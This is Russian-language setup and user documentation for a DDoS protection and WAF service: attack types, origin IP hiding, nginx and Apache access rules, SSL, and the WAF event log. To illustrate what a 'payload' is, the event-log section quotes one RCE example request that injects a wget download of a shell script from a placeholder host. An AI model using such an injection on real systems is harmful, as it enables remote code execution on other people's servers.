Стриминг
Начало работы с продуктом защиты
Веб-защита: основные понятия, типы атак и принцип работы защиты от DDoS
Что такое DDoS-атаки и почему они опасны?
DDoS (Distributed Denial of Service) — это распределённая атака типа «отказ в обслуживании», при которой злоумышленники нарушают нормальную работу целевого сервера, сайта или приложения с помощью мощного потока трафика. Основная цель таких атак — сделать ресурс недоступным для обычных пользователей, что приводит к потере клиентов, репутационным и финансовым рискам.
Ключевой особенностью DDoS-атак является их распределённый характер — атака выполняется одновременно с большого количества устройств, которые зачастую распределены географически. Это могут быть как специально подготовленные серверы, так и ботнеты из заражённых устройств рядовых пользователей, которые даже не подозревают о «двойной жизни» своих гаджетов.
Какие существуют основные типы DDoS-атак?
Низкоуровневые атаки (L3-L4)
Эти атаки направлены на сетевой и транспортный уровни модели OSI:
- UDP Flood — переполнение случайных портов цели UDP-пакетами без установления соединения.
- SYN Flood — потребление ресурсов сервера с помощью потока TCP/SYN-пакетов, инициирующих соединение без его завершения.
- ICMP Flood — заполнение цели пакетами ICMP Echo Request, перегружающими канал связи.
- NTP/DNS Amplification — использование публичных серверов для преумножения трафика.
Высокоуровневые атаки (L7)
Атаки на прикладной уровень модели OSI:
- HTTP Flood — генерация множественных HTTP-запросов для перегрузки веб-сервера.
- Slowloris — создание и поддержание множества медленных HTTP-соединений.
- SSL Exhaustion — перегрузка сервера запросами на SSL-соединение.
- Zero-day DDoS — использование неизвестных уязвимостей в веб-приложениях.
Какими могут быть последствия DDoS-атак?
DDoS-атаки могут привести к серьёзным последствиям для бизнеса:
- Финансовый ущерб — прямые затраты на противодействие и непрямые потери от недоступности сервиса.
- Репутационный ущерб — подрыв доверия клиентов и партнёров.
- Проблемы с SEO — поисковые системы могут понизить рейтинг сайта при длительной недоступности.
- Утечка данных — DDoS может использоваться как отвлекающий манёвр для проведения других типов атак.
- Вымогательство — атаки часто сопровождаются требованиями выкупа.
Как защитить ресурс от DDoS-атак?
MaCloud предлагает комплексное решение для защиты от различных типов DDoS-атак.
Веб-защита от DDoS-атак
Веб-защита обеспечивает мощную барьерную систему на уровне приложений (L7), блокируя угрозы, направленные на уязвимые места в веб-сервисах. В отличие от объёмных атак на сетевом уровне, атаки на прикладной уровень могут быть успешными даже при относительно небольшом объёме трафика, поскольку они эксплуатируют специфические особенности работы веб-приложений.
Наша система обеспечивает многоэтапную фильтрацию:
- Rate limiting — ограничение количества запросов с одного IP-адреса для предотвращения перегрузки сервера.
- Проверка JavaScript и Cookies — автоматическая верификация клиентов для отсеивания простых ботов.
- Капча и дополнительные проверки — активируются вручную или при подозрительной активности для подтверждения "человечности" пользователя.
- Защита от HTTP-флуда — блокировка множественных однотипных запросов, нацеленных на потребление ресурсов сервера.
- Противодействие Slowloris-атакам — контроль скорости и полноты соединений для выявления намеренно замедленных соединений.
Эта защита особенно важна для ресурсов с динамическим контентом, сложной логикой работы и интеграцией с базами данных — онлайн-магазинов, платёжных систем, социальных сетей и порталов с персонализированным контентом.
Web Application Firewall (WAF)
WAF обеспечивает глубокую защиту веб-приложений, блокируя не только DDoS-атаки, но и другие распространённые угрозы веб-безопасности. В отличие от традиционных межсетевых экранов, WAF специализируется на защите на уровне приложений и понимает специфику HTTP/HTTPS-протоколов.
Ключевые возможности WAF:
- Защита от OWASP Top-10 — блокировка распространённых уязвимостей, включая SQL-инъекции, XSS-атаки, CSRF и нарушения контроля доступа.
- Проактивная защита — предотвращение атак с использованием постоянно обновляемых правил и сигнатур.
- Поведенческий анализ — отслеживание системой паттернов пользовательского взаимодействия с сайтом и выявление аномального поведения, характерного для ботов.
- Машинное обучение — самообучение системы на основе взаимодействия с приложением с последующим выявлением аномалий даже при отсутствии известных сигнатур атак.
- Защита API — специализированные механизмы защиты для интерфейсов программирования приложений.
- Защита от скрейпинга и парсинга — предотвращение автоматического сбора данных с сайта.
- Позитивная и негативная модели безопасности — возможность как блокировать известные угрозы, так и допускать только заведомо безопасные запросы.
- Детальное логирование — подробная информация о блокированных атаках и подозрительной активности.
- Гибкая настройка правил — адаптация защиты под конкретное приложение и его специфические уязвимости.
- Встроенные аналитические инструменты — анализ безопасности и рекомендации по устранению слабых мест в защите.
Комбинация WAF с другими уровнями защиты MaCloud security создаёт многослойный барьер, эффективно противостоящий современным киберугрозам и адаптирующийся к постоянно эволюционирующим методам атак.
Какие преимущества защиты от MaCloud?
- Многоуровневая защита — комплексный подход к безопасности на всех уровнях от сетевого до прикладного.
- Интеллектуальная фильтрация — система анализирует поведенческие паттерны и блокирует подозрительный трафик.
- Масштабируемость — автоматическое распределение нагрузки и адаптация к различным объёмам трафика.
- Мониторинг в реальном времени — детальная аналитика и отчёты о попытках атак.
- Простая интеграция — совместимость с различными архитектурами и платформами.
Кому необходима защита от DDoS-атак?
Медиа
Новостные и развлекательные порталы часто становятся мишенями DDoS-атак, особенно если публикуют противоречивый контент. Наша веб-защита анализирует трафик и обеспечивает доступность медиа-ресурсов даже во время масштабных атак.
Онлайн-ритейл
Интернет-магазины и маркетплейсы сталкиваются как с конкурентными атаками, так и с попытками вымогательства. Наше решение вычисляет и блокирует даже единичные бот-запросы, обеспечивая бесперебойную работу торговых платформ.
Рекламная индустрия
Рекламные платформы и сети становятся целями атак, направленных на скликивание рекламы или манипуляции с SEO. Наша система веб-защиты выявляет и автоматически блокирует ботов, сохраняя эффективность рекламных кампаний.
Финансовый сектор
Банки и финансовые организации требуют особо тщательной защиты из-за высокой стоимости простоя и риска компрометации данных. Комплексная веб-защита отслеживает отдельные запросы, находит угрозы и предотвращает атаки на финансовые сервисы.
Интеграция с другими продуктами MaCloud
MaCloud security — Веб-защита от DDoS-атак и WAF эффективно дополняются другими решениями защиты MaCloud для создания комплексной защищённой инфраструктуры.
MaCloud CDN — сеть доставки контента помогает справиться с большим объёмом трафика и повышает отказоустойчивость, распределяя нагрузку между множеством серверов по всему миру.
MaCloud Hosting — размещение проекта на мощных, защищённых серверах с оптимизированной конфигурацией обеспечивает дополнительный уровень защиты и стабильности.
MaCloud DNS — сервис управления доменными именами ускоряет работу онлайн-ресурса и может служить первой линией защиты от некоторых типов DDoS-атак.
Какие есть технические возможности продуктов защиты?
Решение поддерживает технологии и протоколы:
- HTTP/1.1, HTTP/2 и WebSocket
- Управление белыми и чёрными списками IP-адресов и стран
- HTTPS с расширением SNI
- Использование своих SSL-сертификатов или бесплатных от сервиса Let's Encrypt
- Различные методы балансировки нагрузки (Round Robin, Weighted Round Robin, IP hash)
О чём важно помнить?
- Комплексный подход — защищать нужно все элементы инфраструктуры, а не только часть.
- Регулярный аудит — периодически проверяйте настройки безопасности и проводите стресс-тесты.
- Оптимизация кода — неоптимизированные участки кода могут стать уязвимыми точками при атаке.
- Мониторинг — настройте систему оповещений для быстрого реагирования на аномалии.
- Дополнительные меры безопасности — защита сайта от атак включает в себя комплекс мер, примите их для её усиления.
Отчёты. Посмотреть отчёты по работе DDoS-ресурса
Статистика по сервису Веб-защита доступна в разделе Отчёты в личном кабинете:
- Запросы — количество входящих и легитимных (допущенных на источник) запросов.
- Ширина полосы — количество входящего, легитимного, исходящего трафика, а также значение полосы по 95 процентилю.
- Коды ответов — количество 2хх, 3хх, 4хх, 5хх кодов ответа.
- География запросов — отображаются страны, из которых приходят запросы пользователей.
Для каждого графика доступна фильтрация по времени и ресурсам. Вы также можете задать часовой пояс для отчёта.
Настройка защиты
Подключить защиту. Основные шаги
Чтобы защитить сайт, получите IP-адрес защиты в личном кабинете (выдаётся после настройки ресурса) и смените ваш текущий IP-адрес на него.
Настроить сервис в личном кабинете
1. Перейдите в раздел Веб-защита → Ресурсы и нажмите на кнопку Добавить ресурс под защиту.
2. В поле «Ваш домен (Сайт)» пропишите адрес сайта без http(s)://.
3. (опционально) Если у сайта есть поддомен, который вы также хотите защитить, пропишите его в поле «Дополнительные домены». Нажмите на + справа от поля, чтобы раскрыть новые поля, если нужно добавить более одного поддомена под защиту.
Обратите внимание. Если в качестве дополнительного домена вы хотите добавить wildcard-домен (напр., *.example.com), обратитесь в техническую поддержку по почте support@macloud.pro. Мы активируем для вас опцию Wildcard.
4. (опционально) Поставьте галочку напротив «Редирект с WWW на основной домен», чтобы перенаправлять запросы с поддомена www основной домен и/или поддомен без www.
При правильной настройке опции ресурс сможет перенаправлять запросы, например, с www.example.com на example.com, а также с www.alias.example.com на alias.example.com.
Важно. Для корректной работы опции убедитесь, что соблюдены следующие условия:
- В вашем DNS для основного домена и/или поддомена настроена запись с www.\ Если вы хотите включить редирект запросов с www.example.com на example.com, в DNS должны присутствовать обе записи.
- В настройках DDoS-ресурса добавлен SSL-сертификат, который распространяется на поддомен www и на основной домен и/или поддомен.\ Вы можете выписать Let’s Encrypt сертификат, Wildcard-сертификат (* + домен) или добавить сертификат по типу example.com + www.example.com.\ Если выписать сертификат, включающий www, невозможно, в настройках DDoS-ресурса добавьте www в качестве дополнительного домена и загрузите для него отдельный сертификат. Сертификат можно добавить только после создания ресурса. Подробнее рассказываем об этом в пункте 10.
Пример: мы хотим перенаправлять запросы с www.example.com на example.com, а также с www.alias.example.com на alias.example.com. Для этого мы загрузили Wildcard-сертификат для основного домена ресурса и отдельный сертификат для поддомена alias.example.com. Мы также добавили www.alias.example.com в качестве дополнительного домена и загрузили для него свой сертификат.
5. (опционально) Если вы хотите получать запросы на источник по HTTP, отметьте галочкой опцию «Обращение к источнику по HTTP».
6. В поле «IP-адрес» укажите IP-адрес вашего сайта: на него мы будем отправлять очищенный трафик. Для автоматического определения IP нажмите кнопку Авто.
7. Нажмите кнопку +, чтобы добавить несколько IP-адресов и настроить правила их балансировки. Если такой кнопки нет, обратитесь в службу поддержки по почте support@macloud.pro. Мы активируем для вас возможность такой настройки.
Появятся поля:
- IP-адрес — введите IP-адрес.
- Вес — выберите вес каждого IP-адреса. Чем выше число, тем больше вероятность того, что этот IP-адрес будет использоваться.
- Fail timeout — установите время в секундах, по истечении которого сервер будет считаться недоступным.
- Max fails — введите максимальное количество попыток подключения к IP-адресу.
- Тип — выберите тип IP-адреса: Primary (принимает запросы по умолчанию), Backup (принимает запросы, если основной IP недоступен) или Down (для нашей системы такой сервер помечается как «недоступный» и не используется).
Вы также можете добавить описание для каждого IP-адреса и выбрать вид балансировки запросов:
- Round-Robin — запросы к серверам распределяются по принципу циклического перебора.
- Round-Robin with session persistence — запросы от одного и того же клиента всегда направляются на один и тот же сервер, за исключением случаев, когда этот сервер недоступен.
8. Нажмите кнопку Добавить HTTP-заголовки, чтобы указать собственные HTTP-заголовки, которые DDoS-ресурс добавит в ответ пользователю. В появившихся полях укажите название заголовка и его значение.
Ограничения опции:
- Нельзя добавить несколько одинаковых заголовков ответа.
- Для одного ресурса можно добавить до 512 заголовков ответа.
- Допустимое количество символов в названии заголовка — 255, в значении заголовка — 1000.
9. Нажмите кнопку Добавить ресурс под защиту. Активация займёт пару минут.
10. Чтобы добавить SSL-сертификат к основному домену или дополнительным доменам, перейдите в настройки ресурса и нажмите кнопку Редактировать рядом с полем SSL.
Существует 3 варианта настройки SSL-сертификата:
- None (SSL-сертификат не добавляется, запросы идут по протоколу HTTP).
- Let's Encrypt (к ресурсу выпускается и в дальнейшем автоматически обновляется сертификат Let's Encrypt. Выпуск сертификата возможен только после смены А-записи на IP защиты).
- Custom (добавьте ваш SSL-сертификат, указав сертификат и ключ).
Подробнее о настройке SSL-сертификатов описано в статье «SSL. Добавить SSL-сертификат к ресурсу».
11. (опционально) Если вы хотите, чтобы пользовательские HTTP-запросы перенаправлялись на HTTPS, активируйте опцию Включить редирект с HTTP на HTTPS.
Важно. Добавьте SSL-сертификат к основному домену и дополнительным доменам, чтобы опция работала корректно.
12. Нажмите Сохранить изменения.
Настройки применяются в течение 10 минут после их внесения.
После создания ресурс защиты отобразится на вкладке Ресурсы:
Важно. Значения в столбцах WAF и Антибот отображают статус дополнительных платных опций, а не общий статус защиты ресурса. Даже если эти опции отключены, основной функционал Веб-защиты продолжает работать.
Для изменения статуса перейдите во вкладку WAF в настройках соответствующего ресурса.
Если вам необходимо подключить опции на вашем аккаунте, отправьте запрос в техническую поддержку по почте support@macloud.pro.
Настроить защиту на источнике
В списке созданных вами ресурсов есть выделенный вам IP-адрес, он указан в столбце «Защищенный IP, выделенный для клиента». Скопируйте его и в DNS настройках вашего домена укажите этот адрес защиты в А-записи вместо текущего IP. Время изменения записи зависит от настроек параметра TTL (time-to-live): параметр определяет время кеширования DNS-записей.
Дополнительные меры защиты
Основа безопасности вашего сайта — сокрытие реального IP. После настройки защиты DNS запросы будут показывать IP адрес защиты, но это не единственный способ выявить ваш реальный IP. Воспользуйтесь рекомендациями по дополнительным мерам защиты, чтобы обезопасить свой сайт от атак.
Рекомендации по настройке защиты на стороне источника также описаны в Инструкции по настройке. Чтобы открыть её:
- перейдите в раздел Ресурсы;
- нажмите на домен ресурса (например, example.com) в таблице или на иконку трёх точек рядом с именем ресурса;
- выберите Инструкция по настройке.
Веб-защита. Настроить доступ к ресурсу
Защитите ресурс с помощью настройки доступа по странам или IP-адресам.
1. Перейдите в раздел Веб-защита → Ресурсы и нажмите на иконку ···.
2. Выберите вкладку Настройка доступа. Откроется окно с настройками ресурса.
Вы также можете перейти в настройки, кликнув на домен ресурса (например, example.com) в таблице и выбрав нужную вкладку.
3. Чтобы настроить политику доступа по странам, выберите одно из значений:
- Не использовать — значение по умолчанию, ограничений нет.
- Разрешающая — доступ разрешён для всех стран, кроме указанных. Нажмите на поле «Разрешить доступ для всех стран, кроме» и выберите страну из выпадающего списка.
- Блокирующая — доступ запрещён для всех стран, кроме указанных. Нажмите на поле «Запретить доступ для всех стран, кроме» и выберите страну из выпадающего списка.
4. Чтобы настроить доступ по IP-адресам, заполните поля:
- Белый список. Введите IP-адреса и подсети, которым разрешён доступ к вашему ресурсу. Указывайте по одному на каждую строку. Нажмите на +, чтобы добавить строки.
- Черный список. Введите IP-адреса и подсети, которым заблокирован доступ к вашему ресурсу. Указывайте по одному на каждую строку. Нажмите на +, чтобы добавить строки.
Можно указывать адреса с масками сети от /8 до /31.
5. Нажмите Сохранить изменения.
SSL. Добавить SSL-сертификат к ресурсу
Добавить SSL-сертификат к вашему ресурсу
1. Чтобы добавить SSL-сертификат к основному сайту или дополнительным доменам, перейдите в настройки ресурса и нажмите кнопку Редактировать рядом с полем «SSL-сертификат».
2. Выберите тип сертификата:
- None, чтобы не добавлять сертификат;
- Let's Encrypt, чтобы наша система выписала Let's Encrypt сертификат для ваших доменов;
- Custom, чтобы добавить собственный сертификат.
None (защита без сертификата)
SSL-сертификат не добавляется, ресурс отдаёт контент по протоколу HTTP.
Добавить Let's Encrypt сертификат
Чтобы выписать Let's Encrypt сертификат, пожалуйста, сначала замените ваш IP на наш защищённый IP-адрес.
Сертификат Let's Encrypt выдаётся на 90 дней и продляется автоматически, если в настройках ресурса выбрана опция Let's Encrypt.
Для выписки сертификата требуется показать центру сертификации, что тот, кто его запрашивает, имеет отношение к домену. В нашем случае этим подтверждением выступает А-запись, в которой вы меняете свой IP на IP защиты. Мы не сможем выпустить сертификат, пока вы не смените А-запись в ваших настройках DNS. Минус этой настройки — временная недоступность сайта по HTTPS.
Важно. Скорость обновления кешированных записей на DNS-серверах зависит от параметра TTL: пока записи не обновятся, часть трафика будет идти мимо IP защиты. При запросе центр сертификации может увидеть, что домен смотрит на ваш IP, а не IP защиты, и отказать в выпуске сертификата.
Если после выпуска Let's Encrypt сертификата вы захотите переключиться на раздачу по HTTP и выберете None, сертификат не будет продлён, но продолжит действовать до конца своего срока.
Как начать использовать Let's Encrypt сразу. Как упоминалось выше, мы не сможем выпустить сертификат, пока вы не смените А-запись в ваших DNS-настройках. Чтобы пропустить период недоступности сайта по HTTPS, воспользуйтесь такой схемой:
1. Не меняя А-запись, выпустите Let's Encrypt сертификат самостоятельно.
2. Добавьте этот сертификат в настройках SSL в личном кабинете как Custom.
3. Смените А-запись в ваших DNS-настройках.
4. Подождите пока старые записи удалятся из кеша DNS серверов (ориентируйтесь на TTL, заданный в DNS настройках).
5. В настройках SSL переключитесь с Custom на Let's Encrypt и сохраните изменения.
При переключении мы перевыпустим Let's Encrypt сертификат и будем автоматически продлять его без вашего участия.
Добавить Custom сертификат
1. Нажмите на кнопку Вставить из файла, чтобы добавить сертификат из файла на вашем устройстве. Нажмите Сохранить, затем Сохранить изменения. Если вы хотите вставить цепочки сертификатов самостоятельно, следуйте инструкции ниже.
{width="602" height="701"}
2. Откройте файл с сертификатом в формате PEM в приложении «Блокнот». Сертификаты такого формата обычно имеют расширения PEM, CRT, или CER.
3. Скопируйте и вставьте цепочку сертификатов в следующей последовательности: Личный сертификат → Промежуточный CA → Root CA. Данные в поле Certificate необходимо вставлять, включая теги -----BEGIN CERTIFICATE----- и -----END CERTIFICATE-----.
4. Цепочки сертификатов должны быть вставлены слитно.
5. В конце цепочки сертификатов должна быть пустая строка.
6. Откройте файл с приватным ключом (KEY) в приложении «Блокнот».
7. Скопируйте и вставьте ключ, включая теги -----BEGIN PRIVATE KEY----- и -----END PRIVATE KEY-----.
8. Нажмите Сохранить, затем Сохранить изменения.
На забывайте своевременно обновлять или менять Custom-сертификаты.
Подключить защиту. Разрешить доступ только доверенным IP и подсетям MaCloud
С помощью файрвола или правила в конфигурации вашего сервера разрешите доступ к сайту только нашим подсетям и доверенным IP. Актуальный список подсетей защиты MaCloud вы можете найти на вкладке Инструкция по настройке.
Файрвол
Разные хостинги предлагают разные файрволы (обычно на платной основе), поэтому единой инструкции по настройке нет. Мы рекомендуем ограничить доступ для всех подсетей, кроме наших.
Веб-сервер
Не используйте этот способ, если на сервере настроен HTTP-заголовок X-Forwarded-For: запросы будут заблокированы.
Мы рекомендуем ограничить доступ для всех подсетей, кроме наших.
Веб-сервер под управлением Apache
Пример правила, которое вам нужно внести в файл .htaccess (можно добавить в него отдельные статические IP-адресы):
order deny,allow
deny from all
allow from 13x.2xx.xxx.xxx/24
allow from 13x.2xx.xxx.xxx/24
Веб-сервер под управлением Nginx
Модуль nginx, позволяющий ограничить доступ для определенных адресов клиентов, называется ngx_http_access_module. Пример правила, которое вам нужно внести в файл вашего виртуального хоста (можно добавить в него отдельные статические IP адреса):
location / {
allow 13x.2xx.xxx.xxx/24;
allow 13x.2xx.xxx.xxx/24;
deny all;
}
Дополнительные меры безопасности
Защита сайта от атак включает в себя комплекс мер. Основные настройки описаны в статье «Подключить защиту. Основные шаги». Воспользуйтесь дополнительными мерами безопасности, чтобы усилить защиту сайта:
Смените реальный IP-адрес вашего сервера
Ваш реальный IP можно узнать с помощью DNS History и атаковать непосредственно его. Никому не сообщайте и нигде не указывайте новый IP (кроме поля «IP-адрес» в личном кабинете).
Измените все DNS-записи, где прописан ваш IP-адрес
Если вы используйте IP-адрес сайта, который стоит под защитой, в А-записях для поддоменов или других сайтов, измените эти записи.
Проверьте код сайта
В коде вашего сайта не должен быть указан ваш реальный IP-адрес.
Ограничьте доступ до источника
Разрешите доступ к источнику только подсетям MaCloud и доверенным IP-адресам. В статье «Разрешить доступ только доверенным IP и подсетям MaCloud» мы рассказываем про ограничение на уровне файрвола и на уровне веб-сервера.
Настройте отправку почты
Вынесите почтовый сервер на другой IP: реальный IP фигурирует в заголовках отправленных с сервера писем. Большинство серверов-получателей почты проверяют записи TXT и PTR и на их основании фильтруют письма.
Настройте получение IP-адресов пользователей
После активации защиты в логах на сервере вы будете видеть запросы только от наших подсетей. Настройте обработку HTTP-заголовка X-Forwarded-For, чтобы видеть реальные IP-адреса пользователей.
Уменьшите нагрузку на сервер
Вынесите статический контент (картинки, видео, файлы стилей, javascript и др.) на отдельный поддомен (а ещё лучше — и на отдельный сервер) и используйте CDN для доставки контента. Так вы уменьшите полосу генерируемого трафика и снизите нагрузку на сервер.
IPv6
По умолчанию, защищая ваш сайт, мы скрываем IPv4-адреса, поэтому если ваш сайт также доступен по IPv6, мы рекомендуем убрать соответствующую запись из ваших DNS-настроек.
Заголовок X-Forwarded-For. Получать реальные IP-адреса посетителей сайта
Наши серверы выступают в роли обратного прокси и фильтруют все входящие запросы к серверу-источнику, поэтому в access logs вы увидите только IP-адреса подсетей защиты. Если вы хотите получать реальные IP пользователей, настройте заголовок X-Forwarded-For на вашем сервере.
Актуальный список подсетей защиты MaCloud вы можете найти на вкладке Инструкция по настройке.
Nginx
1. Воспользуйтесь модулем ngx_http_realip_module и добавьте две директивы: set_real_ip_from и real_ip_header.
- set_real_ip определяет список доверенных подсетей.
set_real_ip_from 9х.ххх.ххх.х/24;
set_real_ip_from 1хх.ххх.ххх.0/24;
set_real_ip_from 9х.ххх.ххх.х/24;
- real_ip_header указывает на то, что IP-адреса содержатся в заголовке X-Forwarded-For.
real_ip_header X-Forwarded-For;
2. (опционально) Добавьте переменную $http_x_forwarded_for в директиву log_format, чтобы восстановить отображение реальных IP пользователей в access logs.
3. Перезагрузите Nginx.
Apache
1. Установите и настройте модуль mod_remoteip.
Пример правила, которое нужно добавить на источник:
- Указание на то, что модуль remoteip необходимо загрузить из данной директории:
# LoadModule remoteip_module modules/mod_remoteip.so
- Указание на то, что IP-адреса находятся в заголовке X-Forwarded-For:
# RemoteIPHeader X-Forwarded-For
- Указание на то, что узлы защиты являются доверенными:
# RemoteIPTrustedProxy 9х.ххх.ххх.х/24;
# RemoteIPTrustedProxy 1хх.ххх.ххх.х/24;
# RemoteIPTrustedProxy 9х.ххх.ххх.х/24;
2. Сохраните изменения.
3. Перезапустите Apache.
Wallarm WAF
События. Посмотреть историю атак на приложение
Что такое События
Раздел События — журнал, где хранится информация обо всех вредоносных запросах к вашим ресурсам, которые отразил файрвол веб-приложений (WAF). Так выглядит журнал:
Каждая строка в журнале называется событием. Событие — это один вредоносный запрос либо несколько таких запросов, связанных между собой. Например, если взломщик отправляет один запрос, чтобы внедрить вредоносный код в структуру XML-документа, то журнал покажет это как отдельное событие. А если взломщик сделал тысячу запросов с подбором пароля, в журнале они будут сгруппированы в одно событие с типом атаки «брутфорс». Такое событие вы можете раскрыть и посмотреть информацию по каждому из тысячи запросов.
WAF группирует отдельные запросы в событие, если у них совпадают одновременно три вещи:
- Тип атаки — sqli, xss, rce, ptrav, crlf, nosqli, overlimit_res, xxe, ldapi, scanner, ssti, ssi, mail_injetion, invalid_xml, data_bomb, dirbust, brute, vpatch, infoleak либо redir.
- Нагрузка — часть вредоносного запроса, которая содержит указания, какие действия должны быть выполнены в атакуемом приложении.\ Пример: злоумышленник хочет внедрить вредоносный код в ваше приложение (RCE-атака) и делает запрос: curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh. Вредоносный пэйлоад здесь — ;wget+http://s. Он указывает, что в приложении нужно начать скачивание данных.\ Обратите внимание: пэйлоад присутствует не во всех вредоносных запросах, в поведенческих атаках (разные виды брутфорсов) пэйлоада нет.
- Адрес страницы или файла приложения, на который отправлен запрос.
При этом IP-адрес атакующего и время запросов могут отличаться. Даже если запросы отправлены с разных IP-адресов и в разные дни, но у них совпадают тип атаки, пэйлоад и адрес атаки, такие атаки будут объединены в одно событие.
Все события в журнале разделены на два типа: атаки и инциденты.
Атака— любой вредоносный запрос.
Не все события типа атака действительно страшны. Некоторые вредоносные запросы не способны нанести урон, потому что нацелены на хорошо защищённые части приложения. С такими запросами приложение бы справилось даже без WAF. А вот другие представляют реальную угрозу, потому что нацелены на уязвимые места — если бы WAF не остановил их, они нанесли бы урон приложению. Это и есть инциденты.
Инцидент — вредоносный запрос, который нацелен на уязвимое место приложения.
Как только поступает вредоносный запрос, WAF блокирует его и создаёт событие типа атака. Затем WAF анализирует, был это запрос к уязвимой части приложения или к хорошо защищённой. Если к уязвимой, создаёт ещё одно событие с типом инцидент; если к защищённой — ничего не делает.
Как WAF находит уязвимости:
1. Время от времени отправляет разные тестовые вредоносные запросы, чтобы проверить реакцию приложения. Такие запросы безвредны, но помогают узнать, как приложение повело бы себя в случае реальной атаки.
2. Когда происходит реальная атака, WAF блокирует её. Затем WAF копирует атакующий запрос, а дальше от своего имени отправляет приложению несколько аналогичных запросов, вырезав их них вредоносную часть и куки. Эти запросы не навредят, но помогут узнать, как приложение отреагировало бы на атаку, не останови её WAF.
3. Оценивает результат проверок из шагов №1 и №2. Если цель запросов достигнута, WAF считает, что уязвимость есть. Если в ответе приложения нет признаков того, что оно уязвимо к атаке — уязвимости нет.
Пример проверки: злоумышленник отправил вредоносный запрос типа «небезопасное перенаправление» (redir) — такая атака переписывает ссылки в вашем приложении, чтобы при клике на неё пользователь попадал на страницу мошенника. WAF фиксирует атакующий запрос, вырезает из него куки и вредоносную часть, а затем отправляет приложению несколько таких «обезвреженных» запросов от своего имени. Если приложение не отклоняет запросы, WAF засчитывает это за уязвимость; если приложение блокирует запросы, WAF считает, что уязвимости нет.
Зачем просматривать События
События покажут подробную информацию о вредоносных запросах, поступающих к вашему приложению. Приводим три примера, когда это может пригодиться.
- Найти и устранить уязвимости. Вы открываете события типа «инцидент» и видите, какие части приложения уязвимы и к каким типам атак. Затем устраняете эти уязвимости.
- Предотвратить атаки от конкретных мошенников. Открыв журнал событий, вы проверяете, подвергается ли приложение атакам из конкретного региона или с конкретного IP. Такие вредоносные запросы сами по себе не несут вред, но ваш сервер вынужден их обрабатывать и тратить на это ресурсы. Чтобы освободить ресурсы сервера, вы исключаете атакующие IP или регион, откуда часто приходят атаки, в Настройках доступа по инструкции «Политика доступа к ресурсу».
- Собрать данные аналитики для защиты непубличной части приложения. Анализируя журнал вредоносных запросов, вы делаете вывод о том, какие методы атак чаще всего применяют и с каких IP вас атакуют. Учитывая это, организуете внутренние ресурсы, которые не защищает WAF (например, панель администрирования приложением или непубличная платформа для сотрудников), так, чтобы они были защищены от часто встречающихся видов атак. Также блокируете IP мошенников, с которых часто приходят вредоносные запросы.
Как пользоваться Событиями
Открыть список событий
Перейдите в События и выберите, какие события хотите увидеть — инциденты или атаки. Откроется список событий.
В этом списке отображены следующие столбцы:
- Дата — дата поступления запроса из события.
- Хиты — количество отдельных запросов (один хит — один запрос), сгруппированных внутри события.
- Нагрузка — тип атаки, который использовал злоумышленник.
- Топ IP / Источник — код страны, к которой относится IP-адрес атакующего, и сами IP-адреса. Если адресов несколько, в столбце отображается код страны, откуда запрос повторялся чаще.
- Домен / Путь — домен приложения, к которому был направлен запрос, а также путь, который запрашивался. В последней строке указан ID приложения из личного кабинета MaCloud.
- Код — код, с которым приложение ответило на вредоносный запрос.
- Параметр — параметр, который содержал вредоносный запрос. Если в запросе использована атака без эндопоинта (например, брутфорс) — в строке будет стоять значение unknown.
Вы можете посмотреть подробности события, нажав на значок + слева от даты. По каждому запросу вы увидите общую информацию: дата, нагрузка, источник, код, параметр. Также будут два дополнительных столбца: размер запроса и время, которое WAF затратил на обработку запроса.
Применить фильтры
Чтобы отсортировать события, воспользуйтесь фильтрами.
{width="602" height="153"}
- Выбранные типы — типы атак. В WAF доступно двадцать типов: sqli, xss, rce, ptrav, crlf, nosqli, overlimit_res, xxe, ldapi, scanner, ssti, ssi, mail_injetion, invalid_xml, data_bomb, dirbust, brute, vpatch, infoleak, redir.
- Временной промежуток — период, за который вы хотите посмотреть события. Максимум можно посмотреть события за последние три месяца, более старые не сохраняются.
- Приложения — приложения, вредоносные запросы к которым хотите увидеть. Если не применить фильтр, будут отображаться запросы ко всем приложениям, которые есть в аккаунте.
- IP — IP, запросы от которых нужно вывести на экран. Можно указать конкретные IP или диапазон адресов в формате 10.0.0.0 — 10.255.255.255. Если не применить фильтр, вы увидите события с запросами от любых IP.
- Домены — адреса страниц или файлов, которые запрашивались злоумышленниками. Если не использовать фильтр, вы увидите события, связанные с запросами ко всем вашим доменам.
- Код ответа — коды ответов, с которыми приложение ответило на вредоносный запрос. Если не использовать фильтр, будут отображаться только запросы, на которые приложение ответило ошибками 403 и 500.
- Цель — цели вредоносных запросов. Вы можете отфильтровать атаки, нацеленные на пользовательские данные (цель называется сlient), базы данных (цель database) или сервер (цель server). Если ничего не выбрать, будут показаны запросы ко всем трём целям.
- Выбранные страны — страны, запросы из которых вас интересуют. Если не использовать фильтр, отобразятся запросы из 249 стран.
Отметить легальные запросы
Если WAF заблокировал легальный запрос, нажмите значок + в строке события, а затем — кнопку Отметить как допустимое событие. WAF перестанет блокировать такие запросы.
Правила. Создать правила обработки запросов
О вкладке Правила
Для защиты приложений и анализа запросов WAF использует две встроенные библиотеки:
- Первая библиотека проверяет все запросы на наличие признаков атак. Если один из признаков найден, запрос отправляется на анализ второй библиотеке.
- Вторая библиотека проверяет полученный запрос. В случае подтверждения атаки вредоносный запрос блокируется. Если атака не подтверждена, запрос помечается как «легитимный» и не блокируется.
На вкладке Правила можно добавить собственные правила обработки запросов. Так выглядит вкладка с добавленными ветками правил:
Приоритет добавленных правил выше приоритета встроенных библиотек. Если запрос имеет признаки вредоносной активности, но вы добавили правило, которое игнорирует такую активность, запрос не будет заблокирован, а помечен как «легитимный».
При создании правила вы добавляете условия обработки запроса и условия для разных параметров HTTP-запросов: URI, метода, заголовка, и так далее. Все входящие запросы соотносятся с установленными условиями. Если запрос соответствует условию, к запросу применяется действие, которое было установлено правилом. Если запрос не соответствует условию, он будет обработан встроенными WAF библиотеками. Подробности работы условий описаны в разделе «Как пользоваться опцией».
Система автоматически группирует правила по веткам на основании условий и эндпоинтов — URI, который вы укажите. Ветка правил — набор параметров HTTP-запроса и условий, при выполнении которых будут применяться правила. В начале стоят ветки правил с высшим уровнем эндпоинта, например, корень приложения. В конце — ветки низких уровней, например, конкретная папка приложения или файл. Вы также можете создать правила без привязки к эндпоинту. Такие правила называются «Правилами по умолчанию» и наследуются всеми группами.
